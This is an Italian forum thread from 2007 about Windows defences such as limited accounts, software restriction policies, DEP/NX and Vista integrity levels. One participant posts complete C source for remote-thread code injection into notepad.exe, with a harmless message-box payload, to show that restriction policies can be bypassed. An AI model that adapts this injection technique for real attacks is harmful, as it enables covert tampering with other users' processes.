No, perche' -vale lo stesso discorso- il browser verrebbe eseguito - si parla del tipo di configurazione da me suggerito ovviamente, non di un contesto generale - con l'account limitato o al massimo con l'amministratore SysAdmin. In entrambi i casi il processo avviato nel browser non potrebbe accedere alle cartelle il cui accesso e' consentito soltanto ad un altro utente, DocAdmin. :D certo, però devi giustappunto prendere i provvedimenti descritti nel tuo post (quello che mi hai linkato) per proteggere i documenti, altrimenti il danno può avvenire. per questo dicevo che quel post è tutt'altro che paranoia (e successivo esempio degli ActiveX).
E comunque, se sei preoccupato ad ogni modo per i tuoi documenti, non tenerli sul tuo pc. ma che c'entra, io facevo solo speculazioni osservazioni e precisazioni, per amore di cultura e completezza :D
Usa soluzioni come ThinkFree (http://www.thinkfree.com/common/main.tfo).
1. Risparmi suite d'ufficio ed eventuale costo (nel caso di Microsoft Office o altri a pagamenti)
2. Non hai bisogno di soluzioni di backup dei tuoi documenti in locale.
3. Hai i tuoi documenti sempre a portata di mano, ovunque tu abbia una connessione Internet.
4. I tuoi documenti sono in un posto molto piu' sicuro del tuo pc, lontano da virus ecc. 5. se c'è un disservizio proprio il giorno che hai assolutamente bisogno dei documenti e non riesci a scaricarli ci facciamo due risate :asd:
naa, scherzi a parte, non dubito affatto dell'affidabilità di questi servizi, tant'è vero che io stesso per certe cose faccio in maniera molto simile: uso un plugin per FireFox che si chiama Gspace :D :D :D
forse questo ThinkFree è addirittura più sicuro di Gmail, ma finora sono soddisfatto: Google non mi ha ancora deluso.
Stiamo parlando di processi che vengano avviati all'insaputa dell'utente: o quasi: ricordati sempre dell'esempio dell'utonto che installa ciecamente gli ActiveX :D
giusto per precisare.
un po', bisogna ammetterlo, è anche colpa del training effect subìto dall'utente che si abitua a cliccare il tasto "Install". approvo molto il funzionamento di FireFox da questo punto di vista: il tasto di conferma è disabilitato e si abilita con un conto alla rovescia di circa 1 secondo e mezzo.
in questo caso, se le restrizioni sono configurate per bloccare l'esecuzione al di fuori delle cartelle di sistema, un eventuale qualcosa che sia stato scaricato ad es. sfruttando un nuovo exploit del browser verrebbe scaricato nella cache del browser o comunque in una cartella utente, unica possibile locazione dove - sotto account limitato - quel processo potra' scrivere.
MA poiche' l'esecuzione non e' consentita al di fuori delle cartelle di sistema, se quel processo appunto e' stato scaricato al di fuori di esse (all'interno di esse NON potra' scrivere sotto account limitato) non potra' essere eseguito. potrebbe non essere un programma a parte da lanciare, potrebbe essere uno shellcode che gira già nel processo del browser. ed inoltre la configurazione che tu descrivi rischia di essere troppo limitativa: l'utente potrebbe non riuscire più a lanciare gli ActiveX che scarica. e d'accordo che ce ne sono di pessimi, ma altri hanno il sacrosanto diritto di essere lanciati, òh :O
Visto che adesso mi stai divertendo, mi fai un esempio?
Account limitato + software restriction policies in default disallow + default path rules iniziali (tralasciamo pure hash rules :D) + l'inutile DEP (che come gia' detto e' molto piu' utile con account limitato): fammi un programmino che modifichi il comportamento di un altro processo. :D non ho capito cosa sono le "default path rules iniziali" :Prrr:
ed inoltre non so neanche se il mio processore ha l'NX-bit.
comunque prova questo:
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#define MAX_PROCESSES 0x100
#define PAGE_SIZE 0x1000
typedef int (WINAPI *LPMESSAGE_BOX)(HWND, LPCTSTR, LPCTSTR, UINT);
typedef struct _DATA {
LPMESSAGE_BOX lpMessageBox;
TCHAR pszMessage[ANYSIZE_ARRAY];
} DATA, *LPDATA;
#define MESSAGE (TEXT("ciao, io sono un virus; e tu, vuoi essere mio amico?"))
DWORD WINAPI ThreadProc(LPDATA lpData);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
PDWORD pdwProcesses;
DWORD dwSize;
UINT uCount;
UINT u;
HANDLE hProcess;
TCHAR pszBaseName[MAX_PATH + 1];
LPVOID lpRemoteData;
DATA d;
LPVOID lpRemoteCode;
HANDLE hRemoteThread;
DWORD dwDummy;
dwSize = MAX_PROCESSES * sizeof(DWORD);
pdwProcesses = (PDWORD)malloc(dwSize);
if (pdwProcesses == NULL) {
return -1;
}
if (!EnumProcesses(pdwProcesses, dwSize, &dwSize)) {
free(pdwProcesses);
return -1;
}
uCount = dwSize / sizeof(DWORD);
for (u = 0; u < uCount; u++) {
hProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_CREATE_THREAD,
FALSE,
pdwProcesses[u]
);
if (hProcess == NULL) {
continue;
}
if (GetModuleBaseName(hProcess, NULL, pszBaseName, MAX_PATH) == 0) {
CloseHandle(hProcess);
continue;
}
if (lstrcmpi(pszBaseName, TEXT("notepad.exe")) != 0) {
CloseHandle(hProcess);
continue;
}
lpRemoteData = VirtualAllocEx(hProcess, NULL, PAGE_SIZE, MEM_COMMIT, PAGE_READWRITE);
if (lpRemoteData == NULL) {
CloseHandle(hProcess);
continue;
}
d.lpMessageBox = (LPMESSAGE_BOX)GetProcAddress(LoadLibrary(TEXT("USER32.DLL")), "MessageBoxW");
if (!WriteProcessMemory(hProcess, lpRemoteData, &d, sizeof(DATA), &dwDummy)) {
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
if (!WriteProcessMemory(hProcess, (PCHAR)lpRemoteData + (DWORD_PTR)&d.pszMessage - (DWORD_PTR)&d, MESSAGE, sizeof(MESSAGE), &dwDummy)) {
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
lpRemoteCode = VirtualAllocEx(hProcess, NULL, PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpRemoteCode == NULL) {
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
if (!WriteProcessMemory(hProcess, lpRemoteCode, (LPTHREAD_START_ROUTINE)ThreadProc, PAGE_SIZE, &dwDummy)) {
VirtualFreeEx(hProcess, lpRemoteCode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, lpRemoteCode, lpRemoteData, 0, &dwDummy);
if (hRemoteThread == NULL) {
VirtualFreeEx(hProcess, lpRemoteCode, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, lpRemoteData, 0, MEM_RELEASE);
CloseHandle(hProcess);
continue;
}
CloseHandle(hRemoteThread);
CloseHandle(hProcess);
break;
}
free(pdwProcesses);
return 0;
}
DWORD WINAPI ThreadProc(LPDATA lpData) {
lpData->lpMessageBox(NULL, lpData->pszMessage, NULL, MB_YESNO);
return 0;
}
Poi, non minimizziamo per favore l'utilita' circa i buffer overflows: la maggioranza degli exploits sfruttano ancora queste cazzate. il DEP è utilissimo, infatti scongiura al 99% la possibilità di stack overflow. e dico al 99% perché per essere passibili di simili exploit nonostante il DEP il programmatore deve essere scemo e mettercisi di impegno (strano, una volta tanto non è colpa dell'utonto :D): deve deliberatamente sproteggere le pagine dello stack con VirtualProtect settandole come PAGE_EXECUTE_READWRITE, e non sono neanche sicuro al 100% che la cosa funzioni sempre visto che ci mette mano pure kernel32 che deve committare le pagine man mano che lo stack cresce... insomma deve trattarsi di programmatori molto creativi :D
DEP non protegge da processi che l'utente avvia da se', vorrei vedere, a sto punto spegni il PC...
Se consideriamo che un vasto numero di malware sfruttano proprio questo genere di vulnerabilita' nei browser, in teoria non dovrebbero essere eseguiti se ci sono delle ottime impostazioni di restrizioni sul software. Ma se viene sfruttato un buffer overflow, e sulla macchina e' attivato DEP su TUTTI i file - non come l'impostazione predefinita, su tutti i... files? :mbe:
guarda non so come funzioni Windows Vista perché manco ce l'ho, ma su XP se il processore supporta l'NX-bit il DEP è attivato sempre e in tutto il sistema... :mbe:
ciascuna pagina di memoria virtuale ha i propri attributi di protezione, settabili con l'API VirtualProtect(Ex) o, in fase di allocazione della pagina, con VirtualAlloc(Ex); se questi attributi includono PAGE_EXECUTE allora l'NX-bit è disattivato, altrimenti è attivato. questo per tutti i processi, per tutti i moduli in ciascun processo, e per tutte le altre pagine di memoria virtuale di ciascun processo. addirittura funge pure nel kernel mi sa.
allora c'e' una certa probabilita' che quella roba non entri in funzione gia' prima.
Che DEP non sia la funzionalita' piu' utile in termini di sicurezza e' argomento, ma non possiamo dimenticare che attivando DEP su tutto e non soltanto su componenti di Windows, anche DEP puo' fare la sua parte in un sistema configurato opportunamente.
Poi, giusto per chiudere, mi danno un po' fastidio spesso i commenti di persone che forse - immagino - non sanno neanche cosa DEP sia e non sanno dire altro che DEP e' semplicemente inutile, a prescindere da condizioni e situazioni, solo perche' magari in passato hanno letto un articolo che parlava di un workaround particolare ecc ecc, magari senza appunto neanche considerare le differenze tra DEP default e DEP attivo su tutto.
E non dimentichiamo che la vulnerabilita' coi WMF trovata qualche mese addietro e l'altra circa VML su Internet Explorer - per citare due esempi - vengono bloccate con DEP attivato come detto. Quindi e' tutt'altro che inutile. ma dove l'hai trovata tutta sta gente che proclama l'inutilità del DEP :mbe:
71104
31-08-2007, 14:14
infatti io utilizzo un account limitato solo per navigare, avendo accortezza di mettere tutte le mie cose più importanti sull'altro hd. ;) mettere sull'altro hard disk non basta, anzi non influisce minimamente. puoi anche metterli in una cartella dello stesso hard disk su cui sono installati il sistema operativo e i programmi, basta che proteggi la cartella.
71104
31-08-2007, 14:20
Si, si tratta di una funzionalità di Windows Vista.
Fossi in te rivedrei i miei principi, anche perché si sono fatte tante discussioni su Windows Vista per poi scoprire che nulla di ciò che era stato previsto si è poi avverato; ciò che non mi piace di Vista è questo: http://msdn2.microsoft.com/en-us/library/aa446796.aspx
mi sembra una cosa molto realistica...
Windows Vista è veramente un sistema operativo valido, ha i suoi problemi, questo è chiaro, ma merita una prova. :) infatti l'ho provato: sul computer di un amico :D
l'effetto grafico che spunta quando fai Win+Tab anziché Alt+Tab è una goduria :asd:
per il resto finché vedo quella sezione su MSDN Vista sui miei hard disk non ci entra :O
si vedrà per ReactOS.
Parlando di IL (più che di Protected Mode, che comunque viene messa in pratica sfruttando le potenzialità di IL), ad ogni processo viene assegnato un IL ed un processo con IL minore (ora non ricordo l'ordinamento se è dal maggior al minore o viceversa) non può accedere alle risorse (ed intendo file, directory ecc...) di un processo con IL maggiore del suo.
Inutile dire che IL assegnato ad Internet Explorer è il più piccolo possibile. :) non può accedere alle risorse, ma al processo stesso? tocca approfondire, leggerò i link che mi hai dato.
Ti rimando a 2 link ad un blog di una persona che ne sa molte più di me... :D Running Vista Every Day! (http://theinvisiblethings.blogspot.com/2007/02/running-vista-every-day.html) e Handy Tool To Play with Windows Integrity Levels (http://theinvisiblethings.blogspot.com/2007/03/handy-tool-to-play-with-windows.html). :p grazie, ora vedo...
Fossi in te rivedrei i miei principi, anche perché si sono fatte tante discussioni su Windows Vista per poi scoprire che nulla di ciò che era stato previsto si è poi avverato; ciò che non mi piace di Vista è questo: http://msdn2.microsoft.com/en-us/library/aa446796.aspx
mi sembra una cosa molto realistica...
Windows Vista è veramente un sistema operativo valido, ha i suoi problemi, questo è chiaro, ma merita una prova. :) infatti l'ho provato: sul computer di un amico :D
l'effetto grafico che spunta quando fai Win+Tab anziché Alt+Tab è una goduria :asd:
per il resto finché vedo quella sezione su MSDN Vista sui miei hard disk non ci entra :O
si vedrà per ReactOS.
Parlando di IL (più che di Protected Mode, che comunque viene messa in pratica sfruttando le potenzialità di IL), ad ogni processo viene assegnato un IL ed un processo con IL minore (ora non ricordo l'ordinamento se è dal maggior al minore o viceversa) non può accedere alle risorse (ed intendo file, directory ecc...) di un processo con IL maggiore del suo.
Inutile dire che IL assegnato ad Internet Explorer è il più piccolo possibile. :) non può accedere alle risorse, ma al processo stesso? tocca approfondire, leggerò i link che mi hai dato.
Ti rimando a 2 link ad un blog di una persona che ne sa molte più di me... :D Running Vista Every Day! (http://theinvisiblethings.blogspot.com/2007/02/running-vista-every-day.html) e Handy Tool To Play with Windows Integrity Levels (http://theinvisiblethings.blogspot.com/2007/03/handy-tool-to-play-with-windows.html). :p grazie, ora vedo...
71104
31-08-2007, 14:26
ehm.... stavo parlando di code injection, non file injection...
guarda l'esempio di codice che ho scritto, se te ne intendi: inietta un pezzetto di codice, nessun file.
Microsoft LSASS MSO4-011 Overflow (CVE-2003-0533)
Internet Explorer createTextRange Code Execution (CVE-2006-1359)
Internet Explorer Object Type Overflow (CVE-2003-0344)
Microsoft RRAS MSO6-025 Stack Overflow (CVE-2006-2370)
Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow (CVE-2006-2370)
WinRAR <= 3.60 beta 6 (SFX Path) Local Stack Overflow Exploit (CVE-2006-3912)
Mozilla Firefox <= 1.5.0.4 Javascript Navigator Object Code Execution-PoC (CVE-2006-2677)
MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (CVE-2006-3439)
etc....
Da quello che so il DEP è stato particolarmente in difficoltà su questi exploit che, diciamocela tutta, non sono proprio strani ma, anzi, alcuni sono stati utilizzati anche da malware oltre che da script per iniettare malware all'interno del pc.
Con ciò non voglio dire che il DEP sia inutile, è un utility free che male non fa, ho solo voluto sottolineare anche i suoi difetti oltre che i pregi. ora non sono andato a vedere uno per uno tutti quei bug ma evidentemente si trattava dell'esecuzione di codice in pagine non protette, oppure su architetture che non supportano il DEP. l'NX-bit deve funzionare per forza, niente se e niente ma: funziona tanto quanto la traduzione di indirizzi da virtuali a fisici; se non funzionasse quella il computer manco s'avvierebbe.
guarda l'esempio di codice che ho scritto, se te ne intendi: inietta un pezzetto di codice, nessun file.
Microsoft LSASS MSO4-011 Overflow (CVE-2003-0533)
Internet Explorer createTextRange Code Execution (CVE-2006-1359)
Internet Explorer Object Type Overflow (CVE-2003-0344)
Microsoft RRAS MSO6-025 Stack Overflow (CVE-2006-2370)
Microsoft RRAS MSO6-025 RASMAN Registry Stack Overflow (CVE-2006-2370)
WinRAR <= 3.60 beta 6 (SFX Path) Local Stack Overflow Exploit (CVE-2006-3912)
Mozilla Firefox <= 1.5.0.4 Javascript Navigator Object Code Execution-PoC (CVE-2006-2677)
MS Windows NetpIsRemote() Remote Overflow Exploit (MS06-040) (CVE-2006-3439)
etc....
Da quello che so il DEP è stato particolarmente in difficoltà su questi exploit che, diciamocela tutta, non sono proprio strani ma, anzi, alcuni sono stati utilizzati anche da malware oltre che da script per iniettare malware all'interno del pc.
Con ciò non voglio dire che il DEP sia inutile, è un utility free che male non fa, ho solo voluto sottolineare anche i suoi difetti oltre che i pregi. ora non sono andato a vedere uno per uno tutti quei bug ma evidentemente si trattava dell'esecuzione di codice in pagine non protette, oppure su architetture che non supportano il DEP. l'NX-bit deve funzionare per forza, niente se e niente ma: funziona tanto quanto la traduzione di indirizzi da virtuali a fisici; se non funzionasse quella il computer manco s'avvierebbe.
Chukie
31-08-2007, 14:53
stavo parlando di code injection, non file injection...
guarda l'esempio di codice che ho scritto, se te ne intendi: inietta un pezzetto di codice, nessun file.
Errore di scrittura, hai ragione. Sai meglio di me che il concetto, a livello di codice, poco cambia e nulla c'entra con il DEP.
ora non sono andato a vedere uno per uno tutti quei bug ma evidentemente si trattava dell'esecuzione di codice in pagine non protette, oppure su architetture che non supportano il DEP. l'NX-bit deve funzionare per forza, niente se e niente ma: funziona tanto quanto la traduzione di indirizzi da virtuali a fisici; se non funzionasse quella il computer manco s'avvierebbe.
Stiamo parlando di Software DEP, non dell'NX-Bit. Non confondere le idee.
guarda l'esempio di codice che ho scritto, se te ne intendi: inietta un pezzetto di codice, nessun file.
Errore di scrittura, hai ragione. Sai meglio di me che il concetto, a livello di codice, poco cambia e nulla c'entra con il DEP.
ora non sono andato a vedere uno per uno tutti quei bug ma evidentemente si trattava dell'esecuzione di codice in pagine non protette, oppure su architetture che non supportano il DEP. l'NX-bit deve funzionare per forza, niente se e niente ma: funziona tanto quanto la traduzione di indirizzi da virtuali a fisici; se non funzionasse quella il computer manco s'avvierebbe.
Stiamo parlando di Software DEP, non dell'NX-Bit. Non confondere le idee.
71104
31-08-2007, 14:58
Stiamo parlando di Software DEP, non dell'NX-Bit. Non confondere le idee. e io che ne sapevo :O
finora nessuno ha specificato Software DEP
Errore di scrittura, hai ragione. Sai meglio di me che il concetto, a livello di codice, poco cambia veramente io non ho mai sentito dire "file injection"... :mbe:
e nulla c'entra con il DEP. certo che c'entra, se fosse Hardware DEP: l'NX-bit impedisce che abbiano successo molte tecniche di iniezione come l'overflow di buffers collocati nello stack o nell'heap.
finora nessuno ha specificato Software DEP
Errore di scrittura, hai ragione. Sai meglio di me che il concetto, a livello di codice, poco cambia veramente io non ho mai sentito dire "file injection"... :mbe:
e nulla c'entra con il DEP. certo che c'entra, se fosse Hardware DEP: l'NX-bit impedisce che abbiano successo molte tecniche di iniezione come l'overflow di buffers collocati nello stack o nell'heap.
Chukie
31-08-2007, 16:25
Si utilizza il termine (non esattamente corretto) file injection (dll injection in specifici casi) quando il code injection riguarda l'iniezione di un intero file all'interno di un altro processo.
L'NX-Bit (XD in Intel) lavora su un concetto relativamente molto "semplice": tutte le zone di memoria adibite a mantenere esclusivamente dati non devono contenere, in alcun modo, codice eseguibile né possono eseguire del codice, se per qualche motivo ce ne finisca dentro qualcosa (errori di scrittura codice).
L'NX Bit (o XD Bit) ne bloccano l'esecuzione. E lì non ci sono molti fronzoli da dire: viene bloccato, punto.
Il software DEP, differente dall'hardware DEP, ha alcune lacune a livello di codice, nel senso che molte tipologie di attacchi di tipo buffer overflow non vengono correttamente bloccate (un esempio sono quelli sopra elencati).
Nel caso di code injection non stai tentando in alcun modo di eseguire del codice da una zona di memoria non adibita all'esecuzione di codice (heap/stack). Stai semplicemente allocando dello spazio di memoria nuovo all'interno della zona di memoria adibita ad un determinato processo per inserire il tuo codice eseguibile.
Il pezzo di codice che tu hai inserito non viene eseguito da una zona di memoria adibita alla mera memorizzazione di dati, viene eseguito da una zona neo-allocata. Non verrà bloccato. Perlomeno non dal software DEP né da qualunque altro software simile. E dubito anche dell'NXBit (hardware DEP) perché non corrisponde proprio a ciò per il quale è stato studiato. (A meno che, e questo sinceramente è un dubbio che mi è venuto ora, l'NX Bit marchi automaticamente tutta l'intera area del processo come NX eccetto le aree di code che vengono generate durante l'esecuzione iniziale del processo, che verrebbero marcate NW. In questo caso intercetterebbe anche il code injection standard oltre che a quello effettuato attraverso attacchi di buffer overflow. Ma ne dubito)
L'NX-Bit (XD in Intel) lavora su un concetto relativamente molto "semplice": tutte le zone di memoria adibite a mantenere esclusivamente dati non devono contenere, in alcun modo, codice eseguibile né possono eseguire del codice, se per qualche motivo ce ne finisca dentro qualcosa (errori di scrittura codice).
L'NX Bit (o XD Bit) ne bloccano l'esecuzione. E lì non ci sono molti fronzoli da dire: viene bloccato, punto.
Il software DEP, differente dall'hardware DEP, ha alcune lacune a livello di codice, nel senso che molte tipologie di attacchi di tipo buffer overflow non vengono correttamente bloccate (un esempio sono quelli sopra elencati).
Nel caso di code injection non stai tentando in alcun modo di eseguire del codice da una zona di memoria non adibita all'esecuzione di codice (heap/stack). Stai semplicemente allocando dello spazio di memoria nuovo all'interno della zona di memoria adibita ad un determinato processo per inserire il tuo codice eseguibile.
Il pezzo di codice che tu hai inserito non viene eseguito da una zona di memoria adibita alla mera memorizzazione di dati, viene eseguito da una zona neo-allocata. Non verrà bloccato. Perlomeno non dal software DEP né da qualunque altro software simile. E dubito anche dell'NXBit (hardware DEP) perché non corrisponde proprio a ciò per il quale è stato studiato. (A meno che, e questo sinceramente è un dubbio che mi è venuto ora, l'NX Bit marchi automaticamente tutta l'intera area del processo come NX eccetto le aree di code che vengono generate durante l'esecuzione iniziale del processo, che verrebbero marcate NW. In questo caso intercetterebbe anche il code injection standard oltre che a quello effettuato attraverso attacchi di buffer overflow. Ma ne dubito)
Sisupoika
31-08-2007, 16:30
Inoltre, scusa, non ho capito se era riferito a me sinceramente:
Certo che no, actually non era riferito a nessuno in questo thread e a nessuno in particolare, ma a quelli che di tanto in tanto se ne escono con commenti non argomentati ;)
Internet Explorer createTextRange Code Execution (CVE-2006-1359)
Questo l'avevo segnalato io, c'e' ancora un vecchio thread su questo forum con le prove fatte su questa roba all'epoca, con altro nick, prima di segnalarlo assieme ad altre cose sulla clipboard :D
Da quello che so il DEP è stato particolarmente in difficoltà su questi exploit che, diciamocela tutta, non sono proprio strani ma, anzi, alcuni sono stati utilizzati anche da malware oltre che da script per iniettare malware all'interno del pc.
Certo, ma il problema e' che alcune vulnerabilita' attiverebbero DEP, se questo fosse configurato per tutti i programmi e servizi.
In condizioni default esso e' comunque meno efficiente di quanto possa essere.
Cio' non toglie che i problemi ci sono.
Poi, ancora una volta, facciamo distinzione tra l'efficacia del DEP "vero", con supporto hardware, e quello software che ha un ben ristretto campo di possibilita' e protegge ben poco.
appunto, e serve il privilegio. a meno che non sei già owner, e perdonami ma non è facile ricordare tutti i minimi dettagli di un sistema di sicurezza complesso come quello di Windows. ricordarmi che esiste un utente (l'owner) che può cambiare i permessi di un oggetto anche se l'ACL non glielo permette esplicitamente non è stato immediato.
No problem :D
certo, però devi giustappunto prendere i provvedimenti descritti nel tuo post (quello che mi hai linkato) per proteggere i documenti, altrimenti il danno può avvenire. per questo dicevo che quel post è tutt'altro che paranoia
Vista cosi' siamo d'accordo sull fatto che non e' paranoia, se si considera la possibilita' che quel genere di cose accadano.
per amore di cultura e completezza
LOL :oink: :D
5. se c'è un disservizio proprio il giorno che hai assolutamente bisogno dei documenti e non riesci a scaricarli ci facciamo due risate
che palloso che sei :D
vabbeh' essere sfigati, pero'.. :asd:
naa, scherzi a parte, non dubito affatto dell'affidabilità di questi servizi, tant'è vero che io stesso per certe cose faccio in maniera molto simile: uso un plugin per FireFox che si chiama Gspace
non lo conosco, lo provero' :)
forse questo ThinkFree è addirittura più sicuro di Gmail, ma finora sono soddisfatto: Google non mi ha ancora deluso.
Si' ma con ThinkFree (a parte velocita' e affidabilita') ti sembra proprio di usare office :)
o quasi: ricordati sempre dell'esempio dell'utonto che installa ciecamente gli ActiveX :D
giusto per precisare.
Vabbeh, non si puo' pretendere troppa attenzione da alcuni utonti, in effetti :D
potrebbe non essere un programma a parte da lanciare, potrebbe essere uno shellcode che gira già nel processo del browser. ed inoltre la configurazione che tu descrivi rischia di essere troppo limitativa: l'utente potrebbe non riuscire più a lanciare gli ActiveX che scarica. e d'accordo che ce ne sono di pessimi, ma altri hanno il sacrosanto diritto di essere lanciati, òh :O
E' limitativa, ma con i miei script o altre soluzioni analoghe lo e' meno.
E basta mettere in whitelist siti da usare con ActiveX, con IE in max sec.
non ho capito cosa sono le "default path rules iniziali" :Prrr:
Intendevo le regole di tipo "path" che software restriction policies mette di default, cioe' esecuzione consentita soltanto in
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%*.exe
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%System32\*.exe
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
ed inoltre non so neanche se il mio processore ha l'NX-bit.
Che cpu hai? Cosa ti dice Windows nel dialog di DEP?
comunque prova questo:
l'hai provato con lua?
il programmatore deve essere scemo e mettercisi di impegno
Cioe' la maggioranza :D
su tutti i... files? :mbe:
guarda non so come funzioni Windows Vista perché manco ce l'ho, ma su XP se il processore supporta l'NX-bit il DEP è attivato sempre e in tutto il sistema... :mbe:
Non credo, il mio ha DEP hardware e l'impostazione predefinita di Windows, a prescindere da supporto hardware o meno, e' comunque quella di Optin, controlla solo programmi e servizi Windows, non altra roba. L'impostazione va quindi cambiata in Always On.
ma dove l'hai trovata tutta sta gente che proclama l'inutilità del DEP :mbe:
E' capitato qui e altrove di parlare di DEP e ritrovarsi risposte rapide del tipo: "e' inutile :O" :D
Certo che no, actually non era riferito a nessuno in questo thread e a nessuno in particolare, ma a quelli che di tanto in tanto se ne escono con commenti non argomentati ;)
Internet Explorer createTextRange Code Execution (CVE-2006-1359)
Questo l'avevo segnalato io, c'e' ancora un vecchio thread su questo forum con le prove fatte su questa roba all'epoca, con altro nick, prima di segnalarlo assieme ad altre cose sulla clipboard :D
Da quello che so il DEP è stato particolarmente in difficoltà su questi exploit che, diciamocela tutta, non sono proprio strani ma, anzi, alcuni sono stati utilizzati anche da malware oltre che da script per iniettare malware all'interno del pc.
Certo, ma il problema e' che alcune vulnerabilita' attiverebbero DEP, se questo fosse configurato per tutti i programmi e servizi.
In condizioni default esso e' comunque meno efficiente di quanto possa essere.
Cio' non toglie che i problemi ci sono.
Poi, ancora una volta, facciamo distinzione tra l'efficacia del DEP "vero", con supporto hardware, e quello software che ha un ben ristretto campo di possibilita' e protegge ben poco.
appunto, e serve il privilegio. a meno che non sei già owner, e perdonami ma non è facile ricordare tutti i minimi dettagli di un sistema di sicurezza complesso come quello di Windows. ricordarmi che esiste un utente (l'owner) che può cambiare i permessi di un oggetto anche se l'ACL non glielo permette esplicitamente non è stato immediato.
No problem :D
certo, però devi giustappunto prendere i provvedimenti descritti nel tuo post (quello che mi hai linkato) per proteggere i documenti, altrimenti il danno può avvenire. per questo dicevo che quel post è tutt'altro che paranoia
Vista cosi' siamo d'accordo sull fatto che non e' paranoia, se si considera la possibilita' che quel genere di cose accadano.
per amore di cultura e completezza
LOL :oink: :D
5. se c'è un disservizio proprio il giorno che hai assolutamente bisogno dei documenti e non riesci a scaricarli ci facciamo due risate
che palloso che sei :D
vabbeh' essere sfigati, pero'.. :asd:
naa, scherzi a parte, non dubito affatto dell'affidabilità di questi servizi, tant'è vero che io stesso per certe cose faccio in maniera molto simile: uso un plugin per FireFox che si chiama Gspace
non lo conosco, lo provero' :)
forse questo ThinkFree è addirittura più sicuro di Gmail, ma finora sono soddisfatto: Google non mi ha ancora deluso.
Si' ma con ThinkFree (a parte velocita' e affidabilita') ti sembra proprio di usare office :)
o quasi: ricordati sempre dell'esempio dell'utonto che installa ciecamente gli ActiveX :D
giusto per precisare.
Vabbeh, non si puo' pretendere troppa attenzione da alcuni utonti, in effetti :D
potrebbe non essere un programma a parte da lanciare, potrebbe essere uno shellcode che gira già nel processo del browser. ed inoltre la configurazione che tu descrivi rischia di essere troppo limitativa: l'utente potrebbe non riuscire più a lanciare gli ActiveX che scarica. e d'accordo che ce ne sono di pessimi, ma altri hanno il sacrosanto diritto di essere lanciati, òh :O
E' limitativa, ma con i miei script o altre soluzioni analoghe lo e' meno.
E basta mettere in whitelist siti da usare con ActiveX, con IE in max sec.
non ho capito cosa sono le "default path rules iniziali" :Prrr:
Intendevo le regole di tipo "path" che software restriction policies mette di default, cioe' esecuzione consentita soltanto in
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%*.exe
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRoot%System32\*.exe
%HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir%
ed inoltre non so neanche se il mio processore ha l'NX-bit.
Che cpu hai? Cosa ti dice Windows nel dialog di DEP?
comunque prova questo:
l'hai provato con lua?
il programmatore deve essere scemo e mettercisi di impegno
Cioe' la maggioranza :D
su tutti i... files? :mbe:
guarda non so come funzioni Windows Vista perché manco ce l'ho, ma su XP se il processore supporta l'NX-bit il DEP è attivato sempre e in tutto il sistema... :mbe:
Non credo, il mio ha DEP hardware e l'impostazione predefinita di Windows, a prescindere da supporto hardware o meno, e' comunque quella di Optin, controlla solo programmi e servizi Windows, non altra roba. L'impostazione va quindi cambiata in Always On.
ma dove l'hai trovata tutta sta gente che proclama l'inutilità del DEP :mbe:
E' capitato qui e altrove di parlare di DEP e ritrovarsi risposte rapide del tipo: "e' inutile :O" :D
lucas84
31-08-2007, 17:22
Si ma a molti di noi, non frega un cazzo di quello che state dicendo:D continuate la discussione altrove:D
sirus
31-08-2007, 17:23
Si ma a molti di noi, non frega un cazzo di quello che state dicendo:D continuate la discussione altrove:D
Si sta parlando comunque di sicurezza. :)
Si sta parlando comunque di sicurezza. :)
lucas84
31-08-2007, 17:26
Si ma non centra molto con il topic:D come non centra niente il dep e cazzate varie, poi a cosa serve postare il sorgente di un injected:) ? mha:D
Cheers
Cheers
71104
31-08-2007, 23:40
Si utilizza il termine (non esattamente corretto) file injection (dll injection in specifici casi) quando il code injection riguarda l'iniezione di un intero file all'interno di un altro processo. un file (ammesso che sia eseguibile) non può essere "iniettato" così com'è; se anche fosse uno di quei rarissimi casi di eseguibili che possono essere mappati così come sono poi dovrebbe comunque essere bindato ai moduli da cui dipende (per esempio le DLL di sistema). nella maggior parte dei casi invece le sezioni vanno spostate perché i loro RVA non corrispondono ai loro offset all'interno del file, ed inoltre talvolta l'eseguibile va anche rilocato. ecco perché non ha senso parlare di file injection, mentre si parla sempre di DLL injection.
L'NX Bit (o XD Bit) ne bloccano l'esecuzione. E lì non ci sono molti fronzoli da dire: viene bloccato, punto. la differenza rispetto a quando l'ho detto io è che tu per dirlo hai dovuto fare la premessa che non ho quotato, e quindi hai fatto vedere di essere esperto.
